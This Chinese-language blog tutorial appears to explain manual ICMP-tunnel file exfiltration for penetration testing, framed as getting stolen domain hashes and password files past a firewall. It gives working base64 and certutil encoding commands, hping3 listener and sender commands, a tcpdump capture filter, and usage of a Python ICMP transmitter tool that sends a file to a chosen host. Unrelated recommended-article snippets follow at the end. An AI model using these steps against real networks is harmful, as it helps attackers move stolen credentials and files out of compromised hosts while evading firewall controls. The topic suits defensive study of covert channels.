icmp隧道手工操作
ICMP协议被用于检测网络连通状态的协议,通常情况下,防火墙会默认放过该协议。
渗透测试中经常出现一种情况是,我们通过某一种方式取得了一台主机的权限,得到了一些文件,比如域hash,密码文件之类的东西,需要回传至本地进行破解,但是防火墙阻断了由内网发起请求的协议,只有icmp没有被阻断,而我们又需要回传文件,这个时候就可以利用icmp隧道来进行传输。
【基本步骤】如下:
(1)、将所要传输的文件进行base64编码:windows下可以用certutil命令;linux可以用base64命令
(2)、在远程主机监听并转储icmp数据包:常用的工具有tcpdump、wireshark
(3)、通过可以构造icmp数据包的工具对我们的远程主机发送icmp数据包:常用的工具有hping3,或者自己python写一个
(4)对收到的icmp包提取data数据段内容,进行拼接,重新进行base64解码,得到源文件
我这里在linux下使用hping3 和wireshark来手动实现,文章结尾会再引用以为大神写的几个脚本工具来快速复现一次
1、将我们要传输的文件进行base64编码:
base64 XXX>test #linux
certutil -encode test.zip temp #windows
#-encode base64编码
#test.zip 要加密的文件
#temp 生成的base64编码文件
2、在接收的远程主机上输入下面的命令监听接收的数据,并开启wireshark,并设置过滤策略为只监听icmp
hping3 x.x.x.x --listen signature --safe --icmp -u
参数说明:
(1)--listen 指定hping3为监听模式,接收发来的数据
(2)signature 指定接收数据的签名,每条发来的数据都会在最前面带上这个字符串,也就是说,“signature”这个字符串后就是我们接受到的数据,后面拼接是要用到
(3)--safe 以安全模式接收,确保发来的数据包是按照发送顺序,完整的接收到
(4)--icmp 指定通过icmp协议传输
(5)-u 接收完成后自动中断(官方资料如是说,但是我这里没有达到这个效果)
(6)x.x.x.x 是我们指定的需要接收的地址,也就是表明:我们只接收来自192.168.164.128发来的icmp数据包

3、在发送方执行下面的命令,来通过icmp数据包发送文件
sudo hping3 192.168.164.136 --icmp -d --sign signature --file test -u
参数说明:(与上面重复的不在说明)
(1)x.x.x.x 指定我们要发送给那个主机
(2)-d 指定每个数据包的大小
(3)--sign signature 指定签名内容,也就是上一步我们需要接收的签名字符串为"signature"
(4)--file test 指定我们要传输的文件为test文件,也就是我们进行base64编码后的编码文件
*按理说,应该也可以用--safe参数的,但是我这里用--safe后,目的地址就变成了127.0.0.1,不知道怎们回事,暂且不用

加了-u参数后,文件发送完成,它会提示我们按下ctrl+c来停止传送,如果不停止,它会反复发送
4、在接收端wireshark已经可以看到接受到的数据包

这里由于测试,我们的文件比较短,直接提取data中text类型中的字符串,右键->copy->value就可以取到
由于我们取到的值进行了签名,就是前面的“signature”字符串,我们直接去掉这个字符串,只保留后面的base64编码,保存为temp
5、在接收端执行解码命令还原文件
cat temp|base64 -d>test #linux
certutil -decode temp test.zip #windows
#-decode base64编码
#temp 要解密的base64编码文件
#test.zip 生还原的文件
可以看到已经对文件进行了还原,是一个zip文件。
传输完成
【引用】
接下来,我在这里引用两篇文章,是一位大神写了一个python工具,来实现了icmp隧道传输,十分值得借鉴,两篇文章用的是同一种方法和工具,一篇偏重渗透思路,另一篇主要是对工具的总结,内容上有重合部分,可以借鉴
我稍微总结下具体的工具使用,详细的可以去看这两篇文章
工具:icmp_tunnel_ex_filtrate-master:https://github.com/NotSoSecure/icmp_tunnel_ex_filtrate
1、在接收机器上运行tcpdump监听并接收icmp数据包
tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -XX -vvv -w output.txt
参数说明:
(1)-i eth0 指定监听的网卡
(2)icmp and icmp[icmptype]=icmp-echo -XX -vvv 监听策略,过滤出icmp数据包
(3)-w output.txt 指定输出文件为output.txt
2、通过下面的命令运行工具脚本,发送文件,它会自动转换为base64编码发送
sudo python icmp_transmitter.py test x.x.x.x
参数说明:
(1)test: 我们要发送的文件
(2)x.x.x.x: 指定要发送给哪个主机的ip
注:原来这个工具是windows下的,用了certutil进行了编码,由于我这里用的linux,所以对他的代码进行了些许修改,即把原来init函数中的
os.system("certutil -encode "+ file +" test.txt")
改为了
os.system("base64 "+ file +" > test.txt")
使用windows的同学就不用改了

3、我们在接收端应该可以看到接收到了信息


按ctrl+c停止监听,然后按照parser.sh文件中的命令对output.txt文件处理,就可以得到base64文件了,然后按照上面的步骤进行解码就可以了

生成的transmitted.txt就是文件base64的编码了

已经还原出我要传输的文件了
大神的这个脚本还是蛮厉害的,而且大神是在windows环境下用的,还把python脚本用py2exe模块处理成了exe文件,可以看到只需稍微修改就可以运用于各种环境
*按理说这个sh文件应该可以直接执行的,不知道怎么的,我再linux下,需要手工输入才可以,脚本直接运行会报错,不能生成output1.txt文件,可能我的环境变量有问题吧
【文章】:
(1)偏渗透思路
https://m.baidu.com/from=1014517c/bd_page_type=1/ssid=0/uid=0/baiduid=BF1E191B8AC484726DC1308DF0E37D18/w=0_10_/t=zbios/l=3/tc?ref=www_zbios&pu=sz%401320_480%2Ccuid%40la24aj8cB80Quvak_ivT8jOqvt0qO2aJgiHiugPq2i8ia-8ggav4i_u3viYua2fHA%2Ccua%40_a-qi4aqBig4NE65I5me6NI0-I_UCvC5SdNqA%2Ccut%4009STI0tc2i4jaXiDyavdC5kcSMzWtpBsB%2Cosname%40baiduboxapp%2Cctv%402%2Ccfrom%401014517c%2Ccen%40cuid_cua_cut%2Ccsrc%40browserf_box_txt%2Cta%40zbios_2_7.0_6_8.3%2Cusm%401%2Cvmgdb%400020100228y&lid=10256142585042083616&order=2&fm=alop&tj=www_normal_2_0_10_title&vit=osres&m=8&srd=1&cltj=cloud_title&asres=1&nt=wnor&title=%E6%A1%88%E4%BE%8B%E5%AD%A6%E4%B9%A0%3A%E5%A6%82%E4%BD%95%E9%80%9A%E8%BF%87ICMPtunnel%E8%8E%B7%E5%8F%96%E6%9C%AA%E8%BF%87%E6%BB%A4%E6%95%B0%E6%8D%AE-%E7%BD%91%E7%AB%99...&dict=20&w_qd=IlPT2AEptyoA_ykwv4op6AQ6vAfHtn-inklisxezdeJc&sec=19931&di=2ce50d030f985362&bdenc=1&tch=124.0.304.189.0.0&nsrc=IlPT2AEptyoA_yixCFOxXnANedT62v3IEQGG_yFB_jexppjfxP4kHREsRF0hRH_ZH5CwdoSGdMJRtXLR0HEobxpOrxpms7oaznuPcfTqhB7UVNBE&eqid=8e5523577b30a0001000000258dcf07c&wd=&clk_info=%7B%22srcid%22%3A%221599%22%2C%22tplname%22%3A%22www_normal%22%2C%22t%22%3A1490874582535%2C%22xpath%22%3A%22div-a-h3%22%7D
(2)偏工具使用
http://www.hackdig.com/09/hack-39591.htm
icmp隧道手工操作的更多相关文章
- 绕过边界防火墙之ICMP隧道、HTTP隧道、UDP隧道
一.ICMP隧道 背景:已经通过某种手段拿到了园区网A主机的控制权,但是边界防火墙只放行该主机向外的ICMP流量,此时怎样才能让A主机和公网主机C建立TCP连接呢? 方案:将TCP包内容包裹在ICMP ...
- ICMP隧道 ptunnle
通过ICMP echo(ping request)和reply(ping reply)实现隧道 适用于防火墙只允许ping出站流量的环境 支持多并发连接,性能优 支持身份验证 使用时需要root用户 ...
- ICMP隧道工具ptunnel
ICMP隧道工具ptunnel 在一些网络环境中,如果不经过认证,TCP和UDP数据包都会被拦截.如果用户可以ping通远程计算机,就可以尝试建立ICMP隧道,将TCP数据通过该隧道发送,实现不受 ...
- ICMP 隧道——将流量封装进 IMCP 的 ping 数据包中,旨在利用 ping 穿透防火墙的检测
利用 ICMP 隧道穿透防火墙 转自:http://xiaix.me/li-yong-icmp-sui-dao-chuan-tou-fang-huo-qiang/ 以前穿透防火墙总是使用 SSH 隧道 ...
- 内网流量操控---pingtunnel建立icmp隧道
一.pingtunnel工作原理 在上面的实验环境中,我们将分别在攻击机kali 2020和webserver上部署pingtunnel工具,在量太主机之间实现icmp隧道,再在kali2020上监听 ...
- 内网安全---隐藏通信隧道基础&&网络通信隧道之一ICMP隧道
一,隐藏通信隧道基础知识 在完成信息收集之后,我们要判断流量是否出的去.进的来.隐藏通信隧道技术常用于在受限的网络环境中追踪数据流向和在非受信任的网络中实现安全的数据传输. 1.常见的隧道: .网络层 ...
- icmp隧道--icmpsh
本地:ubantu 目标主机:windows 在ubantu上关闭自带的icmp回应 sysctl -w net.ipv4.icmp_echo_ighore_all=1 ubantu上启动 pip i ...
- 内网ICMP隧道构建之icmpsh
下载地址: https://github.com/inquisb/icmpsh#usage kali下载 git clone https://github.com/inquisb/icmpsh.git ...
- ICMP隧道
参考文章:http://www.sohu.com/a/297393423_783648
随机推荐
- Table的一些设置(自适应以及溢出)
table的两个属性 单行溢出点点显示 表格的宽度设置 双栏自适应连续连续英文符换行 1.table重置的两个属性: ①border-collapse: collapse; /* 为表格设置 ...
- Mac OS下开启自带的apache服务
Apache路径 /etc/apache2/ [root@GGs-MacBook-Pro:/Volumes/SSD/blog#cd /etc/apache2/ [root@GGs-MacBook-Pr ...
- [Android] 录音与播放录音实现
http://blog.csdn.net/cxf7394373/article/details/8313980 android开发文档中有一个关于录音的类MediaRecord,一张图介绍了基本的流程 ...
- linux卸载mysql
第二.停止MYSQL运行以及卸载老版本 service mysqld stop #暂停MYSQL yum remove mysql mysql-* #卸载老版本MYSQL 通过上面的命令,我们先停止 ...
- lamp编译详解
首先确认系统环境:centos6.4 min版本 1.安装需要的开发环境 yum groupinstall "Development Tools" "Server Pla ...
- 20145303刘俊谦 《Java程序设计》第三周学习总结
20145303刘俊谦 <Java程序设计>第三周学习总结 教材学习内容总结 1.类与对象: 类:对现实生活中事物的描述,定义类时用关键词class 对象:这类事物实实在在存在的个体,利用 ...
- cogs 547:[HAOI2011] 防线修建
★★★☆ 输入文件:defense.in 输出文件:defense.out 简单对比 时间限制:1 s 内存限制:128 MB 题目描述: 近来A国和B国的矛盾激化,为了预防不测,A国 ...
- vue.js中路由传递参数
知识点:vue路由传递参数,第二个页面(A.B页面)拿到参数,使用参数 方法一:使用 <router-link :to="{name:'edithospital',params:{hi ...
- Ubuntu 安装 networkx
参考:ubuntu 下NetworkX的安装和使用 Dependences pip setuptools Commands 1.install networkx sudo pip install ne ...
- C++中的指针和数组
最近看C++编程思想,看到第十三章动态内存管理的时候把自己给绕进去了,主要是在数据和指针这块弄混了.现在把找到的一些资料总结如下: 1. 数组是数组,指针是指针,两者并不等价: 2.数组在作为左值的时 ...